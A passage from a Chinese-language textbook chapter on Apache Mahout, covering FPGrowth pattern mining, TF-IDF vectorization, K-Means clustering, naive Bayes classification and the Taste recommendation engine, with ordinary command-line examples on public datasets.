Mahout中的频繁模式挖掘\nMahout中实现了FPGrowth算法，FPGrowth算法英文全称为“Frequent Pattern Growth Algorithm”，即“频繁模式增长算法”。关于算法具体内容可参看Mining frequent patterns without candidate generation论文\n[1]\n 。该算法包括如下两个主要步骤：\n1）构建一棵频繁模式树，即FP树；\n2）挖掘FP树，找出频繁项。\n我们可以通过Mahout Shell的“$MAHOUT_HOME/bin/mahout fpg”命令来使用FPGrowth进行频繁模式挖掘，首先我们对该命令的可选参数进行简要介绍，如表13-4所示。\n更多参数大家可以通过输入“mahout fgp-h”来查看。下面我们来介绍具体的操作。\n1.数据获取\n在执行算法之前我们首先需要获取算法操作的数据\n[2]\n 。在“$MAHOUT_HOME/core/src/test/resources/retail.dat”位置，Mahout为我们提供了一组零售商销售记录数据，该数据记录的项之间通过空格进行划分。该数据较小，共包含88162条记录，用于测试使用。如果想要使用更大的数据大家可以从下面的链接中下载：http：//fimi.cs.helsinki.fi/data/。\n2.执行算法\n通过“-method”参数可以指定算法运行的模式，下面我们在不同模式下运行处理数据集来比较算法的效率。\n首先，我们在sequential模式下执行算法，如下所示：\nbin/mahout fpg\\\n-i core/src/test/resources/retail.dat\\\n-o patterns\\\n-k 50\\\n-method sequential\\\n-regex'[\\]'\\\n-s 2\n可以看到该算法的执行时间为：\n12/06/07 11：04：11 INFO driver.MahoutDriver：Program took 2193567 ms（Minutes：36.55945）\n然后，我们在MapReduce模式下执行该算法。在执行算法之前我们首先需要将数据复制到HDFS中，然后运行算法。如下所示：\nbin/mahout fpg\\\n-i/user/hadoop/retail.dat\\\n-o patterns2\\\n-k 50\\\n-method mapreduce\\\n-regex'[\\]'\\\n-s 2\n可以看到该算法的执行时间为：\n12/06/07 20：19：05 INFO driver.MahoutDriver：Program took 358158 ms（Minutes：5.9693）\n相比于sequential模式，算法执行效率提高了数倍，这恰恰是分布式的优势。在数据量更大的情况下，该优势将更加明显。\n3.查看结果\nFPGrowth算法的执行结果会以SequenceFile的形式存储在frequentpatterns目录下，我们可以通过下面命令来查看运行的结果：\nbin/mahout seqdumper\\\n-s patterns2/frequentpatterns/part-r-00000\\\n-c\n上述命令中，-s指定的是输入文件路径，-c用于统计结果记录的个数，输出结果如下所示：\nmahout seqdumper-s patterns2/frequentpatterns/part-r-00000-c\nInput Path：patterns2/frequentpatterns/part-r-00000\nKey class：class org.apache.hadoop.io.Text Value Class：class org.apache.mahout.\nfpm.pfpgrowth.convertors.string.TopKStringPatterns\nCount：14246\n12/06/07 19：38：44 INFO driver.MahoutDriver：Program took 2576 ms（Minutes：\n0.04293333333333333）\n该结果与sequential模式下输出结果相同，大家可以对其进行验证。\n[1]\n http：//citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.40.4436＆rep=rep1＆type=pdf。\n[2]\n 以svn方式下载的Mahout版本中该示例数据。\n13.5 Mahout中的聚类和分类\n 13.5.1 什么是聚类和分类\n在日常生活中经常会有重复的事情发生，人们会把自己遇到的事情和记忆中的事情关联起来。例如，糖果使人们想起是甜味，因此，人们会把具有甜味的食物归类为甜食。即使人们没有甜食的概念，人们也能把甜的食物进行归类。潜意识里，人们能够自然地将甜与苦进行分类。生活中与此类似的现象还有很多，这些现象就是分类。\n下面将用一个实际的例子来介绍到底什么是分类。假设在一个两岁的宝宝面前摆放一些水果，并告诉他红色圆的是苹果，橘黄色圆的是橘子。然后，拿一个又红又大的苹果问宝宝是不是苹果，宝宝回答是，这就是一个简单的分类过程。在这个过程中主要涉及两个阶段：第一个是建立模型阶段，第二个是使用模型阶段。建立模型就是告诉两岁的宝宝具有何种特征的水果是苹果，具有何种特征的水果是橘子；使用模型就是问宝宝又红又大的是不是苹果。\n在日常的生活中除了前面介绍的分类外，还有很多种不同类型的聚类。下面同样用一个实际的例子来介绍聚类。假设你是一个藏书众多的图书馆馆长，但图书馆中的书是混乱的，没有任何顺序。来到图书馆的读者不得不找遍所有的书籍才能发现自己想要看的书。这个寻找书的过程非常缓慢。对于任何一个读者来说，这都是一个很头痛的问题。如果图书按照书名的首字母进行排列，那么在知道书名的情况下寻找一本书将会变得非常容易。如果图书按照主题进行摆放，图书查询也会变得简单易行。将众多的图书按照主题进行排列就是一个聚类的过程。在刚刚接触这个工作的时候，你不知道这些书会有多少种主题，比如哲学、文学等，也许还会有一些你从未听说过的主题。要完成这些任务，你首先要把它们排成一列，逐本查阅。当遇到与之前的书主题相似，就回到前面将它们放在一起，归为一类。当读完所有的书时，一遍聚类便完成了，众多的书籍也被分成了一些类。如果你觉得第一遍聚类的结果不够精细，你可以进行第二遍聚类，直到自己满意为止。\n这就是聚类，在下面的章节中，我们将会详细地介绍Mahout中的分类和聚类。\n13.5.2 Mahout中的数据表示\n生活中的数据会以各种各样的形式存储，Mahout中的数据也会以其固定的形式表示。在Mahout中，数据将会以向量的形式进行存储。\n多数人对向量这个词并不陌生。在不同的领域，向量具有不同的实际意义。在物理中，向量用来表示力的大小和方向，或者一个移动物体的速度。在数学中，一个向量表示空间中的一个点。虽然它们代表的意义不同，但它们表示的形式是相同的。在二维空间中，所有的向量都表示成诸如（5，6）的形式，每一维中有一个数字。当计算这个二维向量时，人们常称第一个维度为X，第二个维度为Y。但是在现实生活中，一个向量可以是多维度的。按照顺序，向量的每一个维度依次被称为0维、1维、2维……\n如上所述，向量是按照维度排列的一系列有序的值。因此，你可能已经想到在程序设计语言中用一维数组来表示向量。使用这种方式表示向量，数组的第i项刚好是向量的第i个维度的值。这是一种很好的表示向量的方法，称为密集向量表示法。\n在现实生活中，一个具有很高维度的向量经常会在很多维度上没有值。这里的没有值就是程序设计当中空的概念，在向量中它会表示为0。在物理和数学领域，无论是高维度向量还是包含很多0的向量都是很少见的。但在分类算法中这种情况很常见。\n使用数组表示这种向量效率太差。数组将会包含很多个0，偶尔会有一个非0值。舍弃众多的0值，单独表示非0值是一种很合理的想法。当处理数百万维度带有很多0值的向量时，密集向量表示法的弊端变得很明显。\n在这种情况下，Mahout引入了稀疏向量，将非0值所在的维度与该维度的值做映射。这可以通过Java中的Map实现。当非0值比较少时，这种存储方式比使用基于数组的稠密存储更具优越性。但使用这种方式，程序需要更多的内存空间。\n在Mahout中，有关向量表示的类有三个。它们分别是稠密向量（DenseVector）、随机访问稀疏向量（RandomAccessSparseVector）和序列访问稀疏向量（SequentialAccessSparseVector）。\n稠密向量由一个double型的数组实现。当向量具有很少的非0值时，这种向量表示法的效率很高。它允许快速访问向量所在任何维度的值，并且能够快速按序遍历向量的所有维度。\n在随机访问向量类中，向量的值存储在类似于HashMap的结构中，键是int型、值是double型的。只有维度上的值非0，该维度值才会被存储。当一个向量的一些维度值非0时，用随机访问向量方式表示向量比用稠密向量表示法具有更高的内存使用效率。但是访问维度值的速度和按序遍历所有维度值的速度比较慢。\n序列访问向量使用int和double的并行数组表示向量。因此，使用它按序遍历整个向量的各个维度是很快的。但是随机插入和查询某一维度的值时速度要慢于随机访问向量。\n这三种表示向量的方式使得Mahout的算法能够按照数据特性、数据访问方式实现。具体使用哪种表示方法是按照算法的特性进行选择的。如果算法具有很多对向量值的随机插入和更新，就应该选择稠密向量或随机访问向量来表示向量。因为这两个向量具有快速随机访问的特性。而对于需要重复计算向量大小的K-Means聚类算法，选择序列访问向量比选择随机访问向量好。\n13.5.3 将文本转化成向量\n讨论完如何存储向量，下面我们开始讨论如何将文本转化成向量。在信息时代，文本文件的数量呈爆炸式增长。仅Google搜索引擎的索引就有200亿的Web文档。文本数据是海量的，这些海量数据中蕴含着大量的知识。公司或机构可以使用诸如聚类、分类的机器学习算法去发现这些知识。学习用向量表示文本是从海量数据中发现知识的第一步。\n向量空间模型（VSM, Vector space model）是最常用的相似度计算模型。Mahout中对文本的聚类使用了这种技术。什么是向量空间模型？下面做一个简单的介绍。\n假设共有10个词w1\n ，w2\n ，……，w10\n ，5篇文章d1\n 、d2\n 、d3\n 、d4\n 和d5\n 。统计所得的词频表如表13-5所示。\n这个词频表就是空间向量模型。对于任意的两篇文档，当要计算它们的相似度时，可以选择计算两个向量的余弦值。如果余弦值为1，则说明两篇文档完全相同；如果余弦值为0，则说明两篇文档完全不同。总之，在[0，1]内余弦值越大，两篇文章相似度越大。除了计算余弦值以外，还有其他的方法测量两篇文章的相似度，这里不作介绍。\n在Mahout下处理的数据必然是海量数据。待处理的文本包含的所有单词就是例子中的单词w，待处理的文本文件就是相应的d。可以想象，待处理文本所包含的单词量是巨大的，因此，文本向量的维度也是巨大的。示例中的具体数值是某个单词在特定文章中出现的次数，称为词频（term frequency）。例如，表中的1代表单词w1\n 在d1\n 文档中出现一次，其词频为1。\n在一些简单的处理方法中，可以只通过词频来计算文本间的相似度，不过当某个关键词在两篇长度相差很大的文本中出现的频率相近时，会降低结果的准确性。因此通常会把词频数据正规化，以防止词频数据偏向于关键词较多、即较长的文本。如某个词在文档d1\n 中出现了100次，在d2\n 中出现了100次，仅从词频看来，这个词在这两个文档中的重要性相同，然而，再考虑另一个因素，就是d1\n 的关键词总数是1000，而d2\n 的关键词总数是100000，所以从总体上看，这个词在d1\n 和d2\n 中的重要性是不同的。正规化处理的方法是用词频除以所有文档的关键词总数。\n当仅使用词频来区分文档时，还会遇到这样一个问题。众所周知，一篇文章会包含很多诸如一、二、你、我、他等的单词，并且这些词语会多次出现。很明显，无论使用何种距离来测算两篇文章的相似度，这些经常出现的词汇都会对结果起到很大的负面影响。但这些词语并不能区分两份文档，相似性判断也因此变得不再准确。把文档按照相似性进行合理的聚类就更不可能了。为了解决这个问题，人们使用了TF-IDF（Term Frequency-Inverse Document Frequency）技术。\nTF-IDF是一种统计方法，用以评估一个字词对于一个文件集或一个语料库中一份文件的重要程度。字词的重要性随着它在文件中出现的次数成正比增加，但同时会随着它在语料库中出现的频率成反比下降。TF-IDF的主要思想是，如果某个词或短语在一篇文章中出现的频率TF高，并且在其他文章中很少出现，则认为此词或短语具有很好的类别区分能力，适合用来分类。TF-IDF实际上是TF*IDF, TF代表词频（Term Frequency），表示词条在文档中出现的频率；IDF代表反文档频率（Inverse Document Frequency），IDF的主要思想是，如果包含词语w的文档越少，IDF越大，则说明词语w具有很好的类别区分能力。\n13.5.4 Mahout中的聚类、分类算法\nMahout目前已经实现了Canopy聚类算法、K-Means聚类算法、Fuzzy K-Means聚类算法、Dirichlet过程聚类算法等众多聚类算法。除此之外，Mahout还实现了贝叶斯（Bayes）分类算法。这里主要介绍简单且应用广泛的K-Means聚类算法和贝叶斯分类算法。\nK-Means聚类算法能轻松地对几乎所有的问题进行建模。K-Means聚类算法容易理解，并且能在并行计算机上很好地运行。学习K-Means聚类算法，能更容易理解聚类算法的缺点，以及其他算法对于特定数据的高效性。\nK-Means聚类算法的K是聚类的数目，在算法中会强制要求用户输入。对于将新闻聚类成诸如政治、经济、文化等大类，可以选择10到20之间的数字作为K。因为这种顶级的类别数量是很小的。如果要对这些新闻详细分类，选择50到100之间的数字也是没有问题的。假设数据库中有一百万条新闻，如果想把这一百万条新闻按照新闻谈论的内容进行聚类，则这个聚类数目远远大于之前的聚类数目。因为每个聚类中的新闻数量不会太大。这就要求选择一个诸如10 000的聚类数值。聚类数值K的取值范围不定，它既可以小至几个，也可以大至几万个。这就对算法的伸缩性提出了很高的要求，而Mahout下实现的K-Means聚类算法就具有很好的伸缩性。\nK-Means聚类算法主要可以分为三步。第一步是为待聚类的点寻找聚类中心；第二步是计算每个点到聚类中心的距离，将每个点聚类到离该点最近的聚类中去；第三步是计算聚类中所有点的坐标平均值，并将这个平均值作为新的聚类中心点。反复执行第二步，直到聚类中心不再进行大范围移动，或者聚类次数达到要求为止。\n假设有n个点，需要将它们聚类成K个组。K-Means算法会以K个随机的中心点开始。算法反复执行上文中提到的第二步和第三步，直至终止条件得到满足。接下来以9个点为例，配以相应图示介绍K-Means算法。\n在聚类前，首先在二维平面中随机选择9个点，坐标分别为（7，8）、（12，1）、（13，6）、（13，13）、（13，19）、（14，5）、（17，16）、（19，20）、（20，7）。\n1.第一次聚类\n1）系统首先选取前3个点（7，8）、（12，1）、（13，6）作为聚类中心，然后计算每个点到聚类中心的距离，该点距离哪个聚类中心的距离最小就归属于哪个聚类中心。经过计算，点（7，8）、（13，19）为1个聚类，点（12，1）为1个聚类，点（13，6）、（13，13）、（14，5）、（17，16）、（19，20）、（20，7）为1个聚类，如图13-2所示。\n图 13-2 未聚类的九个点\n2）更新聚类的聚类中心，新的聚类中心的值为聚类中所有成员的平均值。聚类（7，8）、（13，19）的新聚类中心为（10.0，13.5），聚类（12，1）的新聚类中心仍为（12.0，1.0），聚类（13，6）、（13，13）、（14，5）、（17，16）、（19，20）、（20，7）的新聚类中心为（16.0，11.2），如图13-3所示。\n图 13-3 一次聚类后的结果\n2.第二次聚类\n1）根据前面生成的聚类中心（10.0，13.5）、（12.0，1.0）、（16.0，11.2）重新计算每个点和聚类中心点之间的距离，根据计算出的距离对该点进行聚类。结果点（7，8）、（13，13）、（13，19）为1个聚类，点（12，1）、（13，6）、（14，5）为1个聚类，点（17，16）、（19，20）、（20，7）为1个聚类。\n2）更新聚类的聚类中心，聚类（7，8）、（13，13）、（13，19）的新聚类中心为（11.0，13.3），聚类（12，1）、（13，6）、（14，5）的新聚类中心仍为（13.0，4.0），聚类（17，16）、（19，20）、（20，7）的新聚类中心为（18.7，14.3），如图13-4所示。\n3.第三次聚类\n根据上一步来看，聚类结果没有发生变化，满足收敛条件，K-Means聚类结束，如图13-5所示。\n介绍完K-Means聚类算法，下面开始介绍贝叶斯（Bayes）分类算法。贝叶斯（Bayes）分类算法是一种基于统计的分类方法，用来预测某个样本属于某个分类的概率有多大。贝叶斯（Bayes）分类算法是基于贝叶斯定理的分类算法。\n贝叶斯分类算法有很多变种。在这里主要介绍朴素贝叶斯分类算法。何谓朴素？所谓朴素就是假设各属性之间是相互独立的。经过研究发现，大多数情况下，朴素贝叶斯分类算法（Naïve Bayes Classifier）在性能上和决策树（Decision Tree）、神经网络（Netural Network）相当。当针对大数据集的应用时，贝叶斯分类算法具有方法简单、高准确率和高速度的优点。但事实上，贝叶斯分类算法也有其缺点。缺点就是贝叶斯定理假设一个属性值对给定类的影响独立于其他属性的值，而此假设在实际情况中经常是不成立的，因此其分类准确率可能会下降。\n图 13-4 二次聚类后结果\n图 13-5 第三次聚类的结果\n朴素贝叶斯分类算法是一种监督学习算法，使用朴素贝叶斯分类算法对文本进行分类，主要有两种模型，即多项式模型（multinomial model）和伯努利模型（Bernoulli model）。Mahout实现的贝叶斯分类算法使用的是多项式模型。对算法具体内容感兴趣的读者可以阅读http：//people.csail.mit.edu/jrennie/papers/icml03-nb.pdf上的论文\n[1]\n 。本书将以一个实际的例子来简略介绍使用多项式模型的朴素贝叶斯分类（Naïve Bayes Classifier）算法。\n给定一组分类号的文本训练数据，如表13-6所示。\n给定一个新的文档样本“中国、中国、中国、东京、日本”，对该样本进行分类。该文本属性向量可以表示为d=（中国，中国，中国，东京，日本），类别集合Y={是，否}。类别“是”下共有8个单词，“否”类别下面共有3个单词。训练样本单词总数为11。因此P（是）=8/11，P（否）=3/11。\n类条件概率计算如下：\nP（中国|是）=（5+1）/（8+6）=6/14=3/7；\nP（日本|是）=P（东京|是）=（0+1）/（8+6）=1/14；\nP（中国|否）=（1+1）/（3+6）=2/9；\nP（日本|否）=P（东京|否）=（1+1）/（3+6）=2/9。\n上面4条语句分母中的8，是指“是”类别下训练样本的单词总数，6是指训练样本有中国，北京，上海，澳门，东京，日本，共6个单词，3是指“否”类别下共有3个单词。有了以上的类条件概率，开始计算后验概率：\nP（是|d）=（3/7）3×1/14×1/14×8/11=108/184877≈0.00058417；\nP（否|d）=（2/9）3×2/9×2/9×3/11=32/216513≈0.00014780。\n因此，这个文档属于类别中国。这就是Mahout实现的贝叶斯（Bayes）分类算法的主要思想。\n[1]\n Trackling the Poor Assumptions of Naive Bayes Text classifiers.\n13.5.5 算法应用实例\n下面我们将对如何使用Mahout进行聚类和分类进行具体介绍，其中聚类算法以K-Means为例，分类算法以贝叶斯（Bayes）为例。\n1.K-Means聚类\n在Mahout中运行K-Means聚类算法非常简单。对于不同的数据主要有以下三个步骤。\n使用seqdirectory命令将待处理的文件转化成序列文件。\n使用seq2sparse命令将序列文件转化成向量文件。\n使用kmeans命令对数据运行K-Means聚类算法。\n将文本文件转化成向量需要两个重要的工具。一个是SequenceFilesFromDirectory类，它能将一个目录结构下的文本文件转化成序列文件，这种序列文件为一种中间文本表示形式。另一个是SparseVectorsFromSequenceFiles类，它使用词频（TF）或TF-IDF（TF-IDF weighting with n-gram generation）将序列文件转化成向量文件。序列文件以文件编号为键、文件内容为值。下面讨论如何将文本转换成向量。\n使用路透社14578新闻集作为示例数据。这组数据被广泛应用于机器学习的研究中，它起初是由卡内基集团有限公司和路透社共同搜集整理的，目的是发展文本分类系统。路透社14578新闻集分布于22个文档中，除最后的reut2-0.14.sgm包含578份文件外，其余的每个文件包含1 000份文件。\n路透社14578新闻集中的所有文件都为标准通用标记语言SGML（Standard Generalized Markup Language）格式，这种格式的文件与XML文件格式相似。可以为SGML文件创建一个分析器（parser），并将文件编号（document ID）和文件内容（document text）写到序列文件（SequenceFiles）中去。然后用前文提到的向量化工具将序列文件转化成向量。但是，更快捷的方式是使用Lucene Benchmark JAR文件提供的路透社分析器（the Reuters Parser）。Lucene Benchmark JAR是捆绑在Mahout上的，剩下的工作只是到Mahout目录下的examples文件夹运行org.apache.lucene.benchmark.utils.ExtractReuters类。在这之前，需要从http：//www.daviddlewis.com/resources/testcollections/reuters14578/reuters14578.tar.gz下载路透社新闻集，并将它解压到Examples/Reuters文件夹下。相关命令如下所示：\nmvn-e-q exec：java\n-Dexec.mainClass=\"org.apache.lucene.benchmark.utils.ExtractReuters\"\n-Dexec.args=\"reuters/reuters-extracted/\"\n使用解压得到的文件夹运行SequenceFileFromDirectory类。使用下面的脚本命令（Launch script）可以实现该功能：\nbin/mahout seqdirectory-c UTF-8\n-i examples/reuters-extracted/\n-o reuters-seqfiles\n这条命令的作用是将路透社文章转化成序列文件格式，如表13-7所示。\n现在剩下的工作是将序列文件转化成向量文件。运行SparseVectorsFromSequenceFiles类即可实现该功能。命令如下：\nbin/mahout seq2sparse-i reuters-seqfiles/-o reuters-vectors-w\n注意，在seq2sparse命令中，参数-w用来表示是否覆盖输出文件夹。Mahout用来处理海量的数据，任何一个算法的输出都会花费很多时间。有了参数-w, Mahout就可以防止新产生的数据对未完全输出的数据进行破坏。除此之外，seq2sparse命令还有以下参数，如表13-8所示。\nMahout的seq2sparse命令的功能是从序列文件中读取数据，使用上面提到的默认参数，按照基于向量化（vectorizer）的字典生成向量文件。大家可以使用以下命令检查生成文件夹：\nls reuters-vectors/\n执行上述命令后，结果如下所示：\ndictionary.file-0\ntfidf/\ntokenized-documents/\nvectors/\nwordcount/\n输出文件夹包含一个目录文件和四个文件夹。目录文件保存着术语（term）和整数编号之间的映射。当读取算法的输出时，这个文件是非常有用的，因此，需要保留它。其他四个文件夹是向量化过程中生成的文件夹。向量化过程主要有以下几步：\n第一步，标记文本文档。具体过程是使用Lucene StandardAnalyzer将文本文档分成个体化的单词，将结果存储在tokenized-documents文件夹下。\n第二步，对tonkenized文档进行迭代生成一个重要单词的集合。这个过程可能会使用单词统计、n-gram生成，这里使用的是unigrams生成。\n第三步，使用TF将标记的文档转化成向量，从而创建TF向量。在默认情况下，向量化是使用TF-IDF，因此需要分两步来进行，一是文档频率（document-frequency）的统计工作；二是创建TF-IDF向量。TF-IDF向量在tfidf/vectors文件夹下。对于大多数的应用来说，需要的仅仅是目录文件和tfidf/vectors文件夹。\n使用kmeans命令可以对数据运行K-Means聚类算法。命令如下：\nbin/mahout kmeans\n-i./examples/bin/work/reuters-out-seqdir-sparse/tfidf/vectors/\n-c./examples/bin/work/clusters\n-o./examples/bin/work/reuters-kmeans\n-k 20-w\n表13-9列出了K-Means命令参数的具体意义。\n2.贝叶斯分类\n在已经安装好Hadoop和Mahout的前提下，运行Bayes分类算法也比较简单。这里简要介绍Mahout的示例程序20NewsGroup的分类。实际上，除了20NewsGroup示例之外，还有Wikimapia数据，但由于其数据量达到了将近7GB，对大多数初学者而言并不合适。这里我们选择数据量较小且非常经典的20NewsGroup示例的分类。\n什么是20NewsGroup？20新闻组包含20 000个新闻组文档，这些文档可以被分类成20个新闻组。20新闻组最初来源于Ken Lang的论文《Newsweeder：learning to filter netnews》。从那以后，20新闻组数据集合在机器学习领域越来越多地被用作实验数据。在文本聚类和分类方面的研究中使用尤为突出。20新闻组按照20个不同的类型进行组织，不同的类对应不同的主题。本书用到的20新闻组数据可以从http：//people.csail.mit.edu/jrennie/20Newsgroups/下载。在下载页面中，一共有三种版本的20新闻组数据，分别是20news-19997.tar.gz、20news-bydate.tar.gz和20news-18828.tar.gz。\n20news-19997. tar.gz是最原始的版本数据；20news-bydate.tar.gz是按照日期进行排序的，其中的60%用来进行训练Bayes分类算法，40%用来测试Bayes分类算法，不包含重复新闻和标识新闻组的标题；20news-18828.tar.gz不包含重复的新闻，但是包含带有新闻来源和新闻主题的标题。这三种20新闻组数据都是以tar.gz形式存在的。读者使用tar命令对它们进行解压即可得到相应的数据。具体选择哪种数据对结果影响不大，这里我们选择20news-bydate.tar.gz。\n介绍完20NewsGroup后，下面开始介绍如何运行Mahout自带的Naïve Bayes Classifier算法示例。\n数据下载完成后并不可以直接使用，可以看到，数据在目录中均是以文件夹进行区分，即数据已经被分好类别。因此我们首先需要获取所需格式的数据。该操作可以通过如下两个命令完成：\n获取训练集：\nmahout org.apache.mahout.classifier.bayes.PrepareTwentyNewsgroups\\\n-p$DATA_HOME/20news-bydate-train\\\n-o$DATA_HOME/bayes-train-input\\\n-a org.apache.mahout.vectorizer.DefaultAnalyzer\\\n-c UTF-8\n获取测试集：\nmahout org.apache.mahout.classifier.bayes.PrepareTwentyNewsgroups\\\n-p$DATA_HOME/20news-bydate-test\\\n-o$DATA_HOME/bayes-test-input\\\n-a org.apache.mahout.vectorizer.DefaultAnalyzer\\\n-c UTF-8\n在数据获取完成之后，通过“hadoop fs-put”命令将数据上传到HDFS，然后使用下列命令训练Bayes分类器：\nmahout trainclassifier\\\n-i/user/hadoop/20news/bayes-train-input\\\n-o/user/hadoop/20news/newsmodel\\\n-type cbayes\\\n-ng 2\\\n-source hdfs\n该命令将会在Hadoop上运行四个MapReduce作业。在命令执行的过程中，可以打开浏览器，在http：//localhost：50030/jobtracker.jsp上监视这些作业的运行状态。\n运行下面的命令测试Bayes分类器：\nmahout testclassifier\\\n-m/user/hadoop/20news/newsmodel\\\n-d/user/hadoop/20news/bayes-test-input\\\n-type cbayes\\\n-ng 2\\\n-source hdfs\\\n-method mapreduce\n关于trainclassifier和testclassifier命令参数，这里不再详细介绍，大家可以通过“mahout[command]-h”命令来查看。\n这就是Mahout自带的Bayes分类算法的示例程序。如果大家想要深入了解Mahout的分类算法，可以自行阅读Mahout Core API 0.7来了解已经实现的功能。\n13.6 Mahout应用：建立一个推荐引擎\n 13.6.1 推荐引擎简介\n每天人们都会产生各种各样的想法：喜欢一个产品、不喜欢一件事、不关心某个东西。在人们毫无察觉的情况下，这些事情在悄然发生。一个正在播放的流行歌曲可会引起你的注意，也可能对你没有任何影响。歌曲引起你的注意可能是因为它很好听或者它很让人厌烦。同样的事情也会发生在其他的事情上。这就是人们的喜好。\n每个人都有着不同的喜好，但是这些喜好会遵循着类似的规律。对于一个人来说，如果一个新的事物与他之前喜欢的事物相似，那么他很有可能也会喜欢这个新事物。如果一个外国人喜欢吃中国饺子，那么他很有可能会喜欢中国的包子。因为它们都是带馅的面食。此外，如果你的朋友喜欢周国平的散文，那么你也很有可能会喜欢周国平的散文。因为朋友之间会有一些共同的喜好。\n在日常生活中，预测人们的喜好是没有问题的。假设有两个人A和B。对于B是否喜欢电影《指环王III》的问题，大多数人只能靠猜测。但如果A知道B喜欢《指环王I》和《指环王II》，那么可以推测B喜欢《指环王III》。如果B对指环王系列电影一点也不了解，A基本可以断定，B是不会喜欢《指环王III》的。\n推荐引擎就是对人们的喜好做出预测的一种技术。它会依据已经获得的各种信息，对用户的购买行为做出预测，从而达到相应目的。现实生活中，人们都经历过网站向客户推荐产品，这些推荐都是基于客户浏览信息的推荐。网站试着推断客户的喜好，以此来向客户推荐他们可能会喜欢的产品。\n卓越网使用了推荐引擎技术，在购买一本书的同时，网站会利用顾客的购买习惯和书籍之间的关系为顾客推荐他们可能会感兴趣的书籍或音像制品。例如，当某一名顾客想要购买《云计算》这本书时，在页面的下方会出现购买此商品的顾客同时购买的书籍。这样顾客就可能会顺便买一本相关的书。推荐引擎技术不仅可以帮助顾客更容易地发现自己想要的商品，而且可以帮助商家售卖更多的商品。社交网站人人网利用推荐引擎技术，向用户推荐一些可能是用户朋友的人。对于最有可能是朋友的人，人人网会自动把这些最可能是该用户朋友的人放在最前方，以供用户选择。推荐引擎技术已经悄然地影响着人们的生活，只是人们可能并没有注意它。\n13.6.2 使用Taste构建一个简单的推荐引擎\nTaste是Apache Mahout提供的一个协同过滤算法的高效实现，它是一个Java实现的可扩展的、高效的推荐引擎。Taste既实现了最基本的基于用户的和基于内容的推荐算法，同时也提供了扩展接口，使用户可以方便地定义和实现自己的推荐算法。同时，Taste不仅仅适用于Java应用程序，它还可以作为内部服务器的一个组件以HTTP和Web Service的形式向外界提供推荐的逻辑。Taste的设计使它能满足企业对推荐引擎在性能、灵活性和可扩展性等方面的要求。\nTaste主要包括以下5个组件，具体如图13-6所示。\nDataModel：DataModel是用户喜好信息的抽象接口，它的具体实现支持从任意类型的数据源抽取用户喜好信息。Taste默认提供JDBCDataModel和FileDataModel，分别支持从数据库和文件中读取用户的喜好信息。\nUserSimilarity和ItemSimilarity：UserSimilarity用于定义两个用户间的相似度，它是基于协同过滤的推荐引擎的核心部分，可以用来计算用户的“邻居”，这里的“邻居”指与当前用户相似的用户。ItemSimilarity用来计算内容之间的相似度。\nUserNeighborhood：UserNeighborhood用于基于用户相似度的推荐方法中，推荐的内容是通过找到与当前用户喜好相似的“邻居用户”的方式产生的。UserNeighborhood定义了确定邻居用户的方法，具体实现一般是基于UserSimilarity计算得到的。\nRecommender：Recommender是推荐引擎的抽象接口，Taste中的核心组件。在程序中，为它提供一个DataModel，它可以计算出对不同用户的推荐内容。在实际应用中，主要使用它的实现类GenericUserBasedRecommender或GenericItemBasedRecommender，分别实现基于用户相似度的推荐引擎或者基于内容的推荐引擎。\n图 13-6 Taste的主要组件图\n安装Taste主要包括以下三部分内容：\n如果需要build源代码或例子，则需要Apache Ant 1.5+或Apache Maven 2.0.10+。\nTaste应用程序需要Servlet 2.3+容器，例如Jakarta Tomcat。\nTaste中的MySQLJDBCDataModel实现需要MySQL 4.x+数据库。\n安装Taste并运行Demo的步骤如下：\n1）从SVN或下载压缩包中得到Apache Mahout的发布版本。\n2）从Grouplens网站http：www.grouplens.org/node/12下载数据源：“1 Million MovieLens Dataset”。\n3）解压数据源压缩包，将movie.dat和ratings.dat复制到Mahout安装目录下的taste-web/src/main/resources/org/apache/mahout/cf/taste/example/grouplens目录下。\n4）回到core目录下，运行“mvn install”，将Mahout core安装在本地库中。\n5）进入taste-web，复制../examples/target/grouplens.jar到taste-web/lib目录。\n6）编辑taste-web/recommender.properties，将recommender.class设置为org.apache.mahout.cf.taste.example.grouplens.GroupLensRecommender。\n7）在Mahout的安装目录下，运行“mvn package”。\n8）运行“mvn jetty：run-war”，这里需要将Maven的最大内存设置为1024MB，即：MAVEN_OPTS=-Xmx1024MB。如果需要在Tomcat下运行，可以在执行“mvn package”后，将taste-web/target目录下生成的war包复制到Tomcat的webapp下，同时也需要将Java的最大内存设置为1024MB, JAVA_OPTS=-Xmx1024MB，然后启动Tomcat。\n9）访问http：//localhost：8080/[your_app]/RecommenderServlet?userID=1，得到系统编号为1的用户推荐内容。参看图13-7，其中每一行的第一项是推荐引擎预测的评分，第二项是电影的编号。\n图 13-7 Taste Demo运行结果界面\n10）同时，Taste还提供Web服务访问接口，通过以下URL访问：http：//localhost：8080/[your_app]/RecommenderService.jws。\n11）WSDL文件（http：//localhost：8080/[your_app]/RecommenderService.jws?wsdl）也可以通过简单的HTTP请求调用这个Web服务：http：//localhost：8080/[your_app]/Recommender-Service.jws?method=recommend＆userID=1＆howMany=10\n13.6.3 简单分布式系统下基于产品的推荐系统简介\n传统的推荐引擎算法多在单机上实现，它们只能处理一定量的数据。如果数据量达到一定的规模，传统的推荐引擎算法就会出现各种问题。\n在传统的推荐算法中，算法会将用户喜欢的产品抽象成三个具体的数值：用户编号、产品编号和喜爱值。这里的喜爱值表示用户对产品的喜爱程度，它可以用一个具体数值来表示。例如，可以使用1到5来表示喜欢的程度：1表示非常不喜欢；2表示不喜欢；3表示没有任何感觉；4表示喜欢；5表示非常喜欢。也可以从1到5都表示喜欢，数值越大代表越喜欢。然后通过计算产品之间的相似性来向用户推荐产品。\n分布式系统没有使用这种方法。分布式系统下的推荐算法主要包括以下几部分：\n计算表示产品相似性的矩阵。\n计算表示用户喜好的向量。\n计算矩阵与向量的乘积，为用户推荐产品。\n在开始介绍推荐算法之前，首先建立一组数据，如表13-10所示。在这组数据中，每条记录包含三个信息：用户编号、产品编号、用户对产品的喜爱值。\n表13-10显示了5名顾客的购买历史。下面来介绍一种方法：使用共生矩阵来表示产品的相似性。在这里，产品的相似性是指产品出现在一起的次数。例如从表13-10中可以看出产品101和产品102一共出现过三次，分别是在用户1、用户2、用户5的物品清单上。那么在共生矩阵中101和102对应的元素值就应该为3。经过统计表13-10中的5个用户的购物清单可以使用表13-11的矩阵来表示。\n表13-11中的行和列都是产品的编号。观察可知，该矩阵是一个对称矩阵。在计算过程中可以使用一些特殊技术对矩阵进行处理，使得程序的效率更高。原因是产品104和产品105出现的次数与产品105和产品104出现的次数必然